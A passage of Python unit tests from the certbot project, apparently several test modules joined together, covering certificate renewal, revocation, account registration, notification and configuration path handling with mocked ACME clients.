                        with mock.patch('certbot.main.renewal.OpenSSL') as mock_ssl:
                            mock_latest = mock.MagicMock()
                            mock_latest.get_issuer.return_value = "Fake fake"
                            mock_ssl.crypto.load_certificate.return_value = mock_latest
                            with mock.patch('certbot.main.renewal.crypto_util'):
                                if not args:
                                    args = ['-d', 'isnot.org', '-a', 'standalone', 'certonly']
                                if extra_args:
                                    args += extra_args
                                try:
                                    ret, stdout, _, _ = self._call(args)
                                    if ret:
                                        print("Returned", ret)
                                        raise AssertionError(ret)
                                    assert not error_expected, "renewal should have errored"
                                except: # pylint: disable=bare-except
                                    if not error_expected:
                                        raise AssertionError(
                                            "Unexpected renewal error:\n" +
                                            traceback.format_exc())

            if should_renew:
                mock_client.obtain_certificate.assert_called_once_with(['isnot.org'])
            else:
                self.assertEqual(mock_client.obtain_certificate.call_count, 0)
        except:
            self._dump_log()
            raise
        finally:
            if log_out:
                with open(os.path.join(self.logs_dir, "letsencrypt.log")) as lf:
                    self.assertTrue(log_out in lf.read())

        return mock_lineage, mock_get_utility, stdout

    def test_certonly_renewal(self):
        lineage, get_utility, _ = self._test_renewal_common(True, [])
        self.assertEqual(lineage.save_successor.call_count, 1)
        lineage.update_all_links_to.assert_called_once_with(
            lineage.latest_common_version())
        cert_msg = get_utility().add_message.call_args_list[0][0][0]
        self.assertTrue('fullchain.pem' in cert_msg)
        self.assertTrue('donate' in get_utility().add_message.call_args[0][0])

    def test_certonly_renewal_triggers(self):
        # --dry-run should force renewal
        _, get_utility, _ = self._test_renewal_common(False, ['--dry-run', '--keep'],
                                                      log_out="simulating renewal")
        self.assertEqual(get_utility().add_message.call_count, 1)
        self.assertTrue('dry run' in get_utility().add_message.call_args[0][0])

        self._test_renewal_common(False, ['--renew-by-default', '-tvv', '--debug'],
                                  log_out="Auto-renewal forced")
        self.assertEqual(get_utility().add_message.call_count, 1)

        self._test_renewal_common(False, ['-tvv', '--debug', '--keep'],
                                  log_out="not yet due", should_renew=False)


    def _dump_log(self):
        with open(os.path.join(self.logs_dir, "letsencrypt.log")) as lf:
            print("Logs:")
            print(lf.read())


    def _make_test_renewal_conf(self, testfile):
        with open(test_util.vector_path(testfile)) as src:
            # put the correct path for cert.pem, chain.pem etc in the renewal conf
            renewal_conf = src.read().replace("MAGICDIR", test_util.vector_path())
        rd = os.path.join(self.config_dir, "renewal")
        if not os.path.exists(rd):
            os.makedirs(rd)
        rc = os.path.join(rd, "sample-renewal.conf")
        with open(rc, "w") as dest:
            dest.write(renewal_conf)
        return rc

    def test_renew_verb(self):
        self._make_test_renewal_conf('sample-renewal.conf')
        args = ["renew", "--dry-run", "-tvv"]
        self._test_renewal_common(True, [], args=args, should_renew=True)

    def test_quiet_renew(self):
        self._make_test_renewal_conf('sample-renewal.conf')
        args = ["renew", "--dry-run"]
        _, _, stdout = self._test_renewal_common(True, [], args=args, should_renew=True)
        out = stdout.getvalue()
        self.assertTrue("renew" in out)

        args = ["renew", "--dry-run", "-q"]
        _, _, stdout = self._test_renewal_common(True, [], args=args, should_renew=True)
        out = stdout.getvalue()
        self.assertEqual("", out)

    def test_renew_hook_validation(self):
        self._make_test_renewal_conf('sample-renewal.conf')
        args = ["renew", "--dry-run", "--post-hook=no-such-command"]
        self._test_renewal_common(True, [], args=args, should_renew=False,
                                  error_expected=True)

    def test_renew_no_hook_validation(self):
        self._make_test_renewal_conf('sample-renewal.conf')
        args = ["renew", "--dry-run", "--post-hook=no-such-command",
                "--disable-hook-validation"]
        self._test_renewal_common(True, [], args=args, should_renew=True,
                                  error_expected=False)

    @mock.patch("certbot.cli.set_by_cli")
    def test_ancient_webroot_renewal_conf(self, mock_set_by_cli):
        mock_set_by_cli.return_value = False
        rc_path = self._make_test_renewal_conf('sample-renewal-ancient.conf')
        args = mock.MagicMock(account=None, email=None, webroot_path=None)
        config = configuration.NamespaceConfig(args)
        lineage = storage.RenewableCert(rc_path,
            configuration.RenewerConfiguration(config))
        renewalparams = lineage.configuration["renewalparams"]
        # pylint: disable=protected-access
        renewal._restore_webroot_config(config, renewalparams)
        self.assertEqual(config.webroot_path, ["/var/www/"])

    def test_renew_verb_empty_config(self):
        rd = os.path.join(self.config_dir, 'renewal')
        if not os.path.exists(rd):
            os.makedirs(rd)
        with open(os.path.join(rd, 'empty.conf'), 'w'):
            pass  # leave the file empty
        args = ["renew", "--dry-run", "-tvv"]
        self._test_renewal_common(False, [], args=args, should_renew=False, error_expected=True)

    def _make_dummy_renewal_config(self):
        renewer_configs_dir = os.path.join(self.config_dir, 'renewal')
        os.makedirs(renewer_configs_dir)
        with open(os.path.join(renewer_configs_dir, 'test.conf'), 'w') as f:
            f.write("My contents don't matter")

    def _test_renew_common(self, renewalparams=None, names=None,
                           assert_oc_called=None, **kwargs):
        self._make_dummy_renewal_config()
        with mock.patch('certbot.storage.RenewableCert') as mock_rc:
            mock_lineage = mock.MagicMock()
            mock_lineage.fullchain = "somepath/fullchain.pem"
            if renewalparams is not None:
                mock_lineage.configuration = {'renewalparams': renewalparams}
            if names is not None:
                mock_lineage.names.return_value = names
            mock_rc.return_value = mock_lineage
            with mock.patch('certbot.main.obtain_cert') as mock_obtain_cert:
                kwargs.setdefault('args', ['renew'])
                self._test_renewal_common(True, None, should_renew=False, **kwargs)

            if assert_oc_called is not None:
                if assert_oc_called:
                    self.assertTrue(mock_obtain_cert.called)
                else:
                    self.assertFalse(mock_obtain_cert.called)

    def test_renew_no_renewalparams(self):
        self._test_renew_common(assert_oc_called=False, error_expected=True)

    def test_renew_no_authenticator(self):
        self._test_renew_common(renewalparams={}, assert_oc_called=False,
            error_expected=True)

    def test_renew_with_bad_int(self):
        renewalparams = {'authenticator': 'webroot',
                         'rsa_key_size': 'over 9000'}
        self._test_renew_common(renewalparams=renewalparams, error_expected=True,
                                assert_oc_called=False)

    def test_renew_with_nonetype_http01(self):
        renewalparams = {'authenticator': 'webroot',
                         'http01_port': 'None'}
        self._test_renew_common(renewalparams=renewalparams,
                                assert_oc_called=True)

    def test_renew_with_bad_domain(self):
        renewalparams = {'authenticator': 'webroot'}
        names = ['*.example.com']
        self._test_renew_common(renewalparams=renewalparams, error_expected=True,
                                names=names, assert_oc_called=False)

    def test_renew_with_configurator(self):
        renewalparams = {'authenticator': 'webroot'}
        self._test_renew_common(
            renewalparams=renewalparams, assert_oc_called=True,
            args='renew --configurator apache'.split())

    def test_renew_plugin_config_restoration(self):
        renewalparams = {'authenticator': 'webroot',
                         'webroot_path': 'None',
                         'webroot_imaginary_flag': '42'}
        self._test_renew_common(renewalparams=renewalparams,
                                assert_oc_called=True)

    def test_renew_with_webroot_map(self):
        renewalparams = {'authenticator': 'webroot'}
        self._test_renew_common(
            renewalparams=renewalparams, assert_oc_called=True,
            args=['renew', '--webroot-map', '{"example.com": "/tmp"}'])

    def test_renew_reconstitute_error(self):
        # pylint: disable=protected-access
        with mock.patch('certbot.main.renewal._reconstitute') as mock_reconstitute:
            mock_reconstitute.side_effect = Exception
            self._test_renew_common(assert_oc_called=False, error_expected=True)

    def test_renew_obtain_cert_error(self):
        self._make_dummy_renewal_config()
        with mock.patch('certbot.storage.RenewableCert') as mock_rc:
            mock_lineage = mock.MagicMock()
            mock_lineage.fullchain = "somewhere/fullchain.pem"
            mock_rc.return_value = mock_lineage
            mock_lineage.configuration = {
                'renewalparams': {'authenticator': 'webroot'}}
            with mock.patch('certbot.main.obtain_cert') as mock_obtain_cert:
                mock_obtain_cert.side_effect = Exception
                self._test_renewal_common(True, None, error_expected=True,
                                          args=['renew'], should_renew=False)

    def test_renew_with_bad_cli_args(self):
        self._test_renewal_common(True, None, args='renew -d example.com'.split(),
                                  should_renew=False, error_expected=True)
        self._test_renewal_common(True, None, args='renew --csr {0}'.format(CSR).split(),
                                  should_renew=False, error_expected=True)

    @mock.patch('certbot.main.zope.component.getUtility')
    @mock.patch('certbot.main._treat_as_renewal')
    @mock.patch('certbot.main._init_le_client')
    def test_certonly_reinstall(self, mock_init, mock_renewal, mock_get_utility):
        mock_renewal.return_value = ('reinstall', mock.MagicMock())
        mock_init.return_value = mock_client = mock.MagicMock()
        self._call(['-d', 'foo.bar', '-a', 'standalone', 'certonly'])
        self.assertFalse(mock_client.obtain_certificate.called)
        self.assertFalse(mock_client.obtain_and_enroll_certificate.called)
        self.assertEqual(mock_get_utility().add_message.call_count, 0)
        #self.assertTrue('donate' not in mock_get_utility().add_message.call_args[0][0])

    def _test_certonly_csr_common(self, extra_args=None):
        certr = 'certr'
        chain = 'chain'
        mock_client = mock.MagicMock()
        mock_client.obtain_certificate_from_csr.return_value = (certr, chain)
        cert_path = '/etc/letsencrypt/live/example.com/cert.pem'
        mock_client.save_certificate.return_value = cert_path, None, None
        with mock.patch('certbot.main._init_le_client') as mock_init:
            mock_init.return_value = mock_client
            get_utility_path = 'certbot.main.zope.component.getUtility'
            with mock.patch(get_utility_path) as mock_get_utility:
                chain_path = '/etc/letsencrypt/live/example.com/chain.pem'
                full_path = '/etc/letsencrypt/live/example.com/fullchain.pem'
                args = ('-a standalone certonly --csr {0} --cert-path {1} '
                        '--chain-path {2} --fullchain-path {3}').format(
                            CSR, cert_path, chain_path, full_path).split()
                if extra_args:
                    args += extra_args
                with mock.patch('certbot.main.crypto_util'):
                    self._call(args)

        if '--dry-run' in args:
            self.assertFalse(mock_client.save_certificate.called)
        else:
            mock_client.save_certificate.assert_called_once_with(
                certr, chain, cert_path, chain_path, full_path)

        return mock_get_utility

    def test_certonly_csr(self):
        mock_get_utility = self._test_certonly_csr_common()
        cert_msg = mock_get_utility().add_message.call_args_list[0][0][0]
        self.assertTrue('cert.pem' in cert_msg)
        self.assertTrue(
            'donate' in mock_get_utility().add_message.call_args[0][0])

    def test_certonly_csr_dry_run(self):
        mock_get_utility = self._test_certonly_csr_common(['--dry-run'])
        self.assertEqual(mock_get_utility().add_message.call_count, 1)
        self.assertTrue(
            'dry run' in mock_get_utility().add_message.call_args[0][0])

    @mock.patch('certbot.main.client.acme_client')
    def test_revoke_with_key(self, mock_acme_client):
        server = 'foo.bar'
        self._call_no_clientmock(['--cert-path', CERT, '--key-path', KEY,
                                 '--server', server, 'revoke'])
        with open(KEY, 'rb') as f:
            mock_acme_client.Client.assert_called_once_with(
                server, key=jose.JWK.load(f.read()), net=mock.ANY)
        with open(CERT, 'rb') as f:
            cert = crypto_util.pyopenssl_load_certificate(f.read())[0]
            mock_revoke = mock_acme_client.Client().revoke
            mock_revoke.assert_called_once_with(jose.ComparableX509(cert))

    @mock.patch('certbot.main._determine_account')
    def test_revoke_without_key(self, mock_determine_account):
        mock_determine_account.return_value = (mock.MagicMock(), None)
        _, _, _, client = self._call(['--cert-path', CERT, 'revoke'])
        with open(CERT) as f:
            cert = crypto_util.pyopenssl_load_certificate(f.read())[0]
            mock_revoke = client.acme_from_config_key().revoke
            mock_revoke.assert_called_once_with(jose.ComparableX509(cert))

    @mock.patch('certbot.main.sys')
    def test_handle_exception(self, mock_sys):
        # pylint: disable=protected-access
        from acme import messages

        config = mock.MagicMock()
        mock_open = mock.mock_open()

        with mock.patch('certbot.main.open', mock_open, create=True):
            exception = Exception('detail')
            config.verbose_count = 1
            main._handle_exception(
                Exception, exc_value=exception, trace=None, config=None)
            mock_open().write.assert_any_call(''.join(
                traceback.format_exception_only(Exception, exception)))
            error_msg = mock_sys.exit.call_args_list[0][0][0]
            self.assertTrue('unexpected error' in error_msg)

        with mock.patch('certbot.main.open', mock_open, create=True):
            mock_open.side_effect = [KeyboardInterrupt]
            error = errors.Error('detail')
            main._handle_exception(
                errors.Error, exc_value=error, trace=None, config=None)
            # assert_any_call used because sys.exit doesn't exit in cli.py
            mock_sys.exit.assert_any_call(''.join(
                traceback.format_exception_only(errors.Error, error)))

        exception = messages.Error(detail='alpha', typ='urn:acme:error:triffid',
                                   title='beta')
        config = mock.MagicMock(debug=False, verbose_count=-3)
        main._handle_exception(
            messages.Error, exc_value=exception, trace=None, config=config)
        error_msg = mock_sys.exit.call_args_list[-1][0][0]
        self.assertTrue('unexpected error' in error_msg)
        self.assertTrue('acme:error' not in error_msg)
        self.assertTrue('alpha' in error_msg)
        self.assertTrue('beta' in error_msg)
        config = mock.MagicMock(debug=False, verbose_count=1)
        main._handle_exception(
            messages.Error, exc_value=exception, trace=None, config=config)
        error_msg = mock_sys.exit.call_args_list[-1][0][0]
        self.assertTrue('unexpected error' in error_msg)
        self.assertTrue('acme:error' in error_msg)
        self.assertTrue('alpha' in error_msg)

        interrupt = KeyboardInterrupt('detail')
        main._handle_exception(
            KeyboardInterrupt, exc_value=interrupt, trace=None, config=None)
        mock_sys.exit.assert_called_with(''.join(
            traceback.format_exception_only(KeyboardInterrupt, interrupt)))

        # Test dialog errors
        exception = dialog.error(message="test message")
        main._handle_exception(
                dialog.DialogError, exc_value=exception, trace=None, config=None)
        error_msg = mock_sys.exit.call_args_list[-1][0][0]
        self.assertTrue("test message" in error_msg)

    def test_read_file(self):
        rel_test_path = os.path.relpath(os.path.join(self.tmp_dir, 'foo'))
        self.assertRaises(
            argparse.ArgumentTypeError, cli.read_file, rel_test_path)

        test_contents = b'bar\n'
        with open(rel_test_path, 'wb') as f:
            f.write(test_contents)

        path, contents = cli.read_file(rel_test_path)
        self.assertEqual(path, os.path.abspath(path))
        self.assertEqual(contents, test_contents)

    def test_agree_dev_preview_config(self):
        with mock.patch('certbot.main.run') as mocked_run:
            self._call(['-c', test_util.vector_path('cli.ini')])
        self.assertTrue(mocked_run.called)

    def test_register(self):
        with mock.patch('certbot.main.client') as mocked_client:
            acc = mock.MagicMock()
            acc.id = "imaginary_account"
            mocked_client.register.return_value = (acc, "worked")
            self._call_no_clientmock(["register", "--email", "user@example.org"])
            # TODO: It would be more correct to explicitly check that
            #       _determine_account() gets called in the above case,
            #       but coverage statistics should also show that it did.
            with mock.patch('certbot.main.account') as mocked_account:
                mocked_storage = mock.MagicMock()
                mocked_account.AccountFileStorage.return_value = mocked_storage
                mocked_storage.find_all.return_value = ["an account"]
                x = self._call_no_clientmock(["register", "--email", "user@example.org"])
                self.assertTrue("There is an existing account" in x[0])

    def test_update_registration_no_existing_accounts(self):
        # with mock.patch('certbot.main.client') as mocked_client:
        with mock.patch('certbot.main.account') as mocked_account:
            mocked_storage = mock.MagicMock()
            mocked_account.AccountFileStorage.return_value = mocked_storage
            mocked_storage.find_all.return_value = []
            x = self._call_no_clientmock(
                ["register", "--update-registration", "--email",
                 "user@example.org"])
            self.assertTrue("Could not find an existing account" in x[0])

    def test_update_registration_unsafely(self):
        # This test will become obsolete when register --update-registration
        # supports removing an e-mail address from the account
        with mock.patch('certbot.main.account') as mocked_account:
            mocked_storage = mock.MagicMock()
            mocked_account.AccountFileStorage.return_value = mocked_storage
            mocked_storage.find_all.return_value = ["an account"]
            x = self._call_no_clientmock(
                "register --update-registration "
                "--register-unsafely-without-email".split())
            self.assertTrue("--register-unsafely-without-email" in x[0])

    @mock.patch('certbot.main.display_ops.get_email')
    @mock.patch('certbot.main.zope.component.getUtility')
    def test_update_registration_with_email(self, mock_utility, mock_email):
        email = "user@example.com"
        mock_email.return_value = email
        with mock.patch('certbot.main.client') as mocked_client:
            with mock.patch('certbot.main.account') as mocked_account:
                with mock.patch('certbot.main._determine_account') as mocked_det:
                    with mock.patch('certbot.main.client') as mocked_client:
                        mocked_storage = mock.MagicMock()
                        mocked_account.AccountFileStorage.return_value = mocked_storage
                        mocked_storage.find_all.return_value = ["an account"]
                        mocked_det.return_value = (mock.MagicMock(), "foo")
                        acme_client = mock.MagicMock()
                        mocked_client.Client.return_value = acme_client
                        x = self._call_no_clientmock(
                            ["register", "--update-registration"])
                        # When registration change succeeds, the return value
                        # of register() is None
                        self.assertTrue(x[0] is None)
                        # and we got supposedly did update the registration from
                        # the server
                        self.assertTrue(
                            acme_client.acme.update_registration.called)
                        # and we saved the updated registration on disk
                        self.assertTrue(mocked_storage.save_regr.called)
                        self.assertTrue(
                            email in mock_utility().add_message.call_args[0][0])

    def test_conflicting_args(self):
        args = ['renew', '--dialog', '--text']
        self.assertRaises(errors.Error, self._call, args)

    def test_text_mode_when_verbose(self):
        parse = self._get_argument_parser()
        short_args = ['-v']
        namespace = parse(short_args)
        self.assertTrue(namespace.text_mode)


class DetermineAccountTest(unittest.TestCase):
    """Tests for certbot.cli._determine_account."""

    def setUp(self):
        self.args = mock.MagicMock(account=None, email=None,
            register_unsafely_without_email=False)
        self.config = configuration.NamespaceConfig(self.args)
        self.accs = [mock.MagicMock(id='x'), mock.MagicMock(id='y')]
        self.account_storage = account.AccountMemoryStorage()

    def _call(self):
        # pylint: disable=protected-access
        from certbot.main import _determine_account
        with mock.patch('certbot.main.account.AccountFileStorage') as mock_storage:
            mock_storage.return_value = self.account_storage
            return _determine_account(self.config)

    def test_args_account_set(self):
        self.account_storage.save(self.accs[1])
        self.config.account = self.accs[1].id
        self.assertEqual((self.accs[1], None), self._call())
        self.assertEqual(self.accs[1].id, self.config.account)
        self.assertTrue(self.config.email is None)

    def test_single_account(self):
        self.account_storage.save(self.accs[0])
        self.assertEqual((self.accs[0], None), self._call())
        self.assertEqual(self.accs[0].id, self.config.account)
        self.assertTrue(self.config.email is None)

    @mock.patch('certbot.client.display_ops.choose_account')
    def test_multiple_accounts(self, mock_choose_accounts):
        for acc in self.accs:
            self.account_storage.save(acc)
        mock_choose_accounts.return_value = self.accs[1]
        self.assertEqual((self.accs[1], None), self._call())
        self.assertEqual(
            set(mock_choose_accounts.call_args[0][0]), set(self.accs))
        self.assertEqual(self.accs[1].id, self.config.account)
        self.assertTrue(self.config.email is None)

    @mock.patch('certbot.client.display_ops.get_email')
    def test_no_accounts_no_email(self, mock_get_email):
        mock_get_email.return_value = 'foo@bar.baz'

        with mock.patch('certbot.main.client') as client:
            client.register.return_value = (
                self.accs[0], mock.sentinel.acme)
            self.assertEqual((self.accs[0], mock.sentinel.acme), self._call())
        client.register.assert_called_once_with(
            self.config, self.account_storage, tos_cb=mock.ANY)

        self.assertEqual(self.accs[0].id, self.config.account)
        self.assertEqual('foo@bar.baz', self.config.email)

    def test_no_accounts_email(self):
        self.config.email = 'other email'
        with mock.patch('certbot.main.client') as client:
            client.register.return_value = (self.accs[1], mock.sentinel.acme)
            self._call()
        self.assertEqual(self.accs[1].id, self.config.account)
        self.assertEqual('other email', self.config.email)


class DuplicativeCertsTest(storage_test.BaseRenewableCertTest):
    """Test to avoid duplicate lineages."""

    def setUp(self):
        super(DuplicativeCertsTest, self).setUp()
        self.config.write()
        self._write_out_ex_kinds()

    def tearDown(self):
        shutil.rmtree(self.tempdir)

    @mock.patch('certbot.util.make_or_verify_dir')
    def test_find_duplicative_names(self, unused_makedir):
        from certbot.main import _find_duplicative_certs
        test_cert = test_util.load_vector('cert-san.pem')
        with open(self.test_rc.cert, 'wb') as f:
            f.write(test_cert)

        # No overlap at all
        result = _find_duplicative_certs(
            self.cli_config, ['wow.net', 'hooray.org'])
        self.assertEqual(result, (None, None))

        # Totally identical
        result = _find_duplicative_certs(
            self.cli_config, ['example.com', 'www.example.com'])
        self.assertTrue(result[0].configfile.filename.endswith('example.org.conf'))
        self.assertEqual(result[1], None)

        # Superset
        result = _find_duplicative_certs(
            self.cli_config, ['example.com', 'www.example.com', 'something.new'])
        self.assertEqual(result[0], None)
        self.assertTrue(result[1].configfile.filename.endswith('example.org.conf'))

        # Partial overlap doesn't count
        result = _find_duplicative_certs(
            self.cli_config, ['example.com', 'something.new'])
        self.assertEqual(result, (None, None))


class DefaultTest(unittest.TestCase):
    """Tests for certbot.cli._Default."""

    def setUp(self):
        # pylint: disable=protected-access
        self.default1 = cli._Default()
        self.default2 = cli._Default()

    def test_boolean(self):
        self.assertFalse(self.default1)
        self.assertFalse(self.default2)

    def test_equality(self):
        self.assertEqual(self.default1, self.default2)

    def test_hash(self):
        self.assertEqual(hash(self.default1), hash(self.default2))


class SetByCliTest(unittest.TestCase):
    """Tests for certbot.set_by_cli and related functions."""

    def setUp(self):
        reload_module(cli)

    def test_webroot_map(self):
        args = '-w /var/www/html -d example.com'.split()
        verb = 'renew'
        self.assertTrue(_call_set_by_cli('webroot_map', args, verb))

    def test_report_config_interaction_str(self):
        cli.report_config_interaction('manual_public_ip_logging_ok',
                                      'manual_test_mode')
        cli.report_config_interaction('manual_test_mode', 'manual')

        self._test_report_config_interaction_common()

    def test_report_config_interaction_iterable(self):
        cli.report_config_interaction(('manual_public_ip_logging_ok',),
                                      ('manual_test_mode',))
        cli.report_config_interaction(('manual_test_mode',), ('manual',))

        self._test_report_config_interaction_common()

    def _test_report_config_interaction_common(self):
        """Tests implied interaction between manual flags.

        --manual implies --manual-test-mode which implies
        --manual-public-ip-logging-ok. These interactions don't actually
        exist in the client, but are used here for testing purposes.

        """

        args = ['--manual']
        verb = 'renew'
        for v in ('manual', 'manual_test_mode', 'manual_public_ip_logging_ok'):
            self.assertTrue(_call_set_by_cli(v, args, verb))

        cli.set_by_cli.detector = None

        args = ['--manual-test-mode']
        for v in ('manual_test_mode', 'manual_public_ip_logging_ok'):
            self.assertTrue(_call_set_by_cli(v, args, verb))

        self.assertFalse(_call_set_by_cli('manual', args, verb))


def _call_set_by_cli(var, args, verb):
    with mock.patch('certbot.cli.helpful_parser') as mock_parser:
        mock_parser.args = args
        mock_parser.verb = verb
        return cli.set_by_cli(var)


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for certbot.notify."""
import socket
import unittest

import mock


class NotifyTests(unittest.TestCase):
    """Tests for the notifier."""

    @mock.patch("certbot.notify.smtplib.LMTP")
    def test_smtp_success(self, mock_lmtp):
        from certbot.notify import notify
        lmtp_obj = mock.MagicMock()
        mock_lmtp.return_value = lmtp_obj
        self.assertTrue(notify("Goose", "auntrhody@example.com",
                               "The old grey goose is dead."))
        self.assertEqual(lmtp_obj.connect.call_count, 1)
        self.assertEqual(lmtp_obj.sendmail.call_count, 1)

    @mock.patch("certbot.notify.smtplib.LMTP")
    @mock.patch("certbot.notify.subprocess.Popen")
    def test_smtp_failure(self, mock_popen, mock_lmtp):
        from certbot.notify import notify
        lmtp_obj = mock.MagicMock()
        mock_lmtp.return_value = lmtp_obj
        lmtp_obj.sendmail.side_effect = socket.error(17)
        proc = mock.MagicMock()
        mock_popen.return_value = proc
        self.assertTrue(notify("Goose", "auntrhody@example.com",
                               "The old grey goose is dead."))
        self.assertEqual(lmtp_obj.sendmail.call_count, 1)
        self.assertEqual(proc.communicate.call_count, 1)

    @mock.patch("certbot.notify.smtplib.LMTP")
    @mock.patch("certbot.notify.subprocess.Popen")
    def test_everything_fails(self, mock_popen, mock_lmtp):
        from certbot.notify import notify
        lmtp_obj = mock.MagicMock()
        mock_lmtp.return_value = lmtp_obj
        lmtp_obj.sendmail.side_effect = socket.error(17)
        proc = mock.MagicMock()
        mock_popen.return_value = proc
        proc.communicate.side_effect = OSError("What we have here is a "
                                               "failure to communicate.")
        self.assertFalse(notify("Goose", "auntrhody@example.com",
                                "The old grey goose is dead."))
        self.assertEqual(lmtp_obj.sendmail.call_count, 1)
        self.assertEqual(proc.communicate.call_count, 1)

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Tests for certbot.configuration."""
import os
import unittest

import mock

from certbot import errors


class NamespaceConfigTest(unittest.TestCase):
    """Tests for certbot.configuration.NamespaceConfig."""

    def setUp(self):
        self.namespace = mock.MagicMock(
            config_dir='/tmp/config', work_dir='/tmp/foo', foo='bar',
            server='https://acme-server.org:443/new',
            tls_sni_01_port=1234, http01_port=4321)
        from certbot.configuration import NamespaceConfig
        self.config = NamespaceConfig(self.namespace)

    def test_init_same_ports(self):
        self.namespace.tls_sni_01_port = 4321
        from certbot.configuration import NamespaceConfig
        self.assertRaises(errors.Error, NamespaceConfig, self.namespace)

    def test_proxy_getattr(self):
        self.assertEqual(self.config.foo, 'bar')
        self.assertEqual(self.config.work_dir, '/tmp/foo')

    def test_server_path(self):
        self.assertEqual(['acme-server.org:443', 'new'],
                         self.config.server_path.split(os.path.sep))

        self.namespace.server = ('http://user:pass@acme.server:443'
                                 '/p/a/t/h;parameters?query#fragment')
        self.assertEqual(['user:pass@acme.server:443', 'p', 'a', 't', 'h'],
                         self.config.server_path.split(os.path.sep))

    @mock.patch('certbot.configuration.constants')
    def test_dynamic_dirs(self, constants):
        constants.ACCOUNTS_DIR = 'acc'
        constants.BACKUP_DIR = 'backups'
        constants.CSR_DIR = 'csr'

        constants.IN_PROGRESS_DIR = '../p'
        constants.KEY_DIR = 'keys'
        constants.TEMP_CHECKPOINT_DIR = 't'

        self.assertEqual(
            self.config.accounts_dir, '/tmp/config/acc/acme-server.org:443/new')
        self.assertEqual(self.config.backup_dir, '/tmp/foo/backups')
        self.assertEqual(self.config.csr_dir, '/tmp/config/csr')
        self.assertEqual(self.config.in_progress_dir, '/tmp/foo/../p')
        self.assertEqual(self.config.key_dir, '/tmp/config/keys')
        self.assertEqual(self.config.temp_checkpoint_dir, '/tmp/foo/t')

    def test_absolute_paths(self):
        from certbot.configuration import NamespaceConfig

        config_base = "foo"
        work_base = "bar"
        logs_base = "baz"
        server = "mock.server"

        mock_namespace = mock.MagicMock(spec=['config_dir', 'work_dir',
                                              'logs_dir', 'http01_port',
                                              'tls_sni_01_port',
                                              'domains', 'server'])
        mock_namespace.config_dir = config_base
        mock_namespace.work_dir = work_base
        mock_namespace.logs_dir = logs_base
        mock_namespace.server = server
        config = NamespaceConfig(mock_namespace)

        self.assertTrue(os.path.isabs(config.config_dir))
        self.assertEqual(config.config_dir,
                         os.path.join(os.getcwd(), config_base))
        self.assertTrue(os.path.isabs(config.work_dir))
        self.assertEqual(config.work_dir,
                         os.path.join(os.getcwd(), work_base))
        self.assertTrue(os.path.isabs(config.logs_dir))
        self.assertEqual(config.logs_dir,
                         os.path.join(os.getcwd(), logs_base))
        self.assertTrue(os.path.isabs(config.accounts_dir))
        self.assertTrue(os.path.isabs(config.backup_dir))
        self.assertTrue(os.path.isabs(config.csr_dir))
        self.assertTrue(os.path.isabs(config.in_progress_dir))
        self.assertTrue(os.path.isabs(config.key_dir))
        self.assertTrue(os.path.isabs(config.temp_checkpoint_dir))


class RenewerConfigurationTest(unittest.TestCase):
    """Test for certbot.configuration.RenewerConfiguration."""

    def setUp(self):
        self.namespace = mock.MagicMock(config_dir='/tmp/config')
        from certbot.configuration import RenewerConfiguration
        self.config = RenewerConfiguration(self.namespace)

    @mock.patch('certbot.configuration.constants')
    def test_dynamic_dirs(self, constants):
        constants.ARCHIVE_DIR = 'a'
        constants.LIVE_DIR = 'l'
        constants.RENEWAL_CONFIGS_DIR = 'renewal_configs'
        constants.RENEWER_CONFIG_FILENAME = 'r.conf'

        self.assertEqual(self.config.archive_dir, '/tmp/config/a')
        self.assertEqual(self.config.live_dir, '/tmp/config/l')
        self.assertEqual(
            self.config.renewal_configs_dir, '/tmp/config/renewal_configs')
        self.assertEqual(self.config.renewer_config_file, '/tmp/config/r.conf')

    def test_absolute_paths(self):
        from certbot.configuration import NamespaceConfig
        from certbot.configuration import RenewerConfiguration

        config_base = "foo"
        work_base = "bar"
        logs_base = "baz"

        mock_namespace = mock.MagicMock(spec=['config_dir', 'work_dir',
                                              'logs_dir', 'http01_port',
                                              'tls_sni_01_port',
                                              'domains', 'server'])
        mock_namespace.config_dir = config_base
        mock_namespace.work_dir = work_base
        mock_namespace.logs_dir = logs_base
        config = RenewerConfiguration(NamespaceConfig(mock_namespace))

        self.assertTrue(os.path.isabs(config.archive_dir))
        self.assertTrue(os.path.isabs(config.live_dir))
        self.assertTrue(os.path.isabs(config.renewal_configs_dir))
        self.assertTrue(os.path.isabs(config.renewer_config_file))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""Tests for certbot.main."""
import os
import shutil
import tempfile
import unittest

import mock

from certbot import cli
from certbot import configuration
from certbot import errors
from certbot.plugins import disco as plugins_disco


class ObtainCertTest(unittest.TestCase):
    """Tests for certbot.main.obtain_cert."""

    def setUp(self):
        self.get_utility_patch = mock.patch(
            'certbot.main.zope.component.getUtility')
        self.mock_get_utility = self.get_utility_patch.start()

    def tearDown(self):
        self.get_utility_patch.stop()

    def _call(self, args):
        plugins = plugins_disco.PluginsRegistry.find_all()
        config = configuration.NamespaceConfig(
            cli.prepare_and_parse_args(plugins, args))

        from certbot import main
        with mock.patch('certbot.main._init_le_client') as mock_init:
            main.obtain_cert(config, plugins)

        return mock_init()  # returns the client

    @mock.patch('certbot.main._auth_from_domains')
    def test_no_reinstall_text_pause(self, mock_auth):
        mock_notification = self.mock_get_utility().notification
        mock_notification.side_effect = self._assert_no_pause
        mock_auth.return_value = (mock.ANY, 'reinstall')
        self._call('certonly --webroot -d example.com -t'.split())

    def _assert_no_pause(self, message, height=42, pause=True):
        # pylint: disable=unused-argument
        self.assertFalse(pause)


class SetupLogFileHandlerTest(unittest.TestCase):
    """Tests for certbot.main.setup_log_file_handler."""

    def setUp(self):
        self.config = mock.Mock(spec_set=['logs_dir'],
                                logs_dir=tempfile.mkdtemp())

    def tearDown(self):
        shutil.rmtree(self.config.logs_dir)

    def _call(self, *args, **kwargs):
        from certbot.main import setup_log_file_handler
        return setup_log_file_handler(*args, **kwargs)

    @mock.patch('certbot.main.logging.handlers.RotatingFileHandler')
    def test_ioerror(self, mock_handler):
        mock_handler.side_effect = IOError
        self.assertRaises(errors.Error, self._call,
                          self.config, "test.log", "%s")


class MakeOrVerifyCoreDirTest(unittest.TestCase):
    """Tests for certbot.main.make_or_verify_core_dir."""

    def setUp(self):
        self.dir = tempfile.mkdtemp()

    def tearDown(self):
        shutil.rmtree(self.dir)

    def _call(self, *args, **kwargs):
        from certbot.main import make_or_verify_core_dir
        return make_or_verify_core_dir(*args, **kwargs)

    def test_success(self):
